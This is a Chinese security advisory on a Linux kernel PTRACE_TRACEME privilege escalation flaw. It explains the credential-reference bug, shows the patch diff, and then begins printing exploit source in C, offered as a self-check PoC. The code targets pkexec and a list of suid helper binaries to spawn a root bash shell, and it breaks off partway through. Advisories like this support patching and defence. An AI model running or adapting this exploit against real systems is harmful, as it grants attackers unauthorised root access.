漏洞描述
近日,HSCERT监测发现Linux修复了一个本地内核提权漏洞,利用此漏洞,攻击者可将普通用户权限提升为Root权限。
HSCERT研判此漏洞为严重漏洞,攻击者拿到本地权限可以直接提权至root。
漏洞分析
当调用PTRACE_TRACEME时,ptrace_link()将获得对父级目标凭据的RCU引用,然后把该指针指向get_cred()函数。但是,对象struct cred的生存周期不允许无条件地将RCU引用转换为一个长期稳定的引用。
PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。
但是,如果是恶意的没有特权的子进程使用PTRACE_TRACEME,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程,可以使用ptrace suid文件并获取root权限。
下面是补丁对比代码,通过一直记录进程的凭据可以修复这个漏洞:
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct * child,struct task_struct * new_parent,
* /
static void ptrace_link(struct task_struct * child,struct task_struct * new_parent)
{
- rcu_read_lock();
- __ptrace_link(child,new_parent,__ task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child,new_parent,current_cred());
}
/ * *
验证poc如下,可用于自检:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.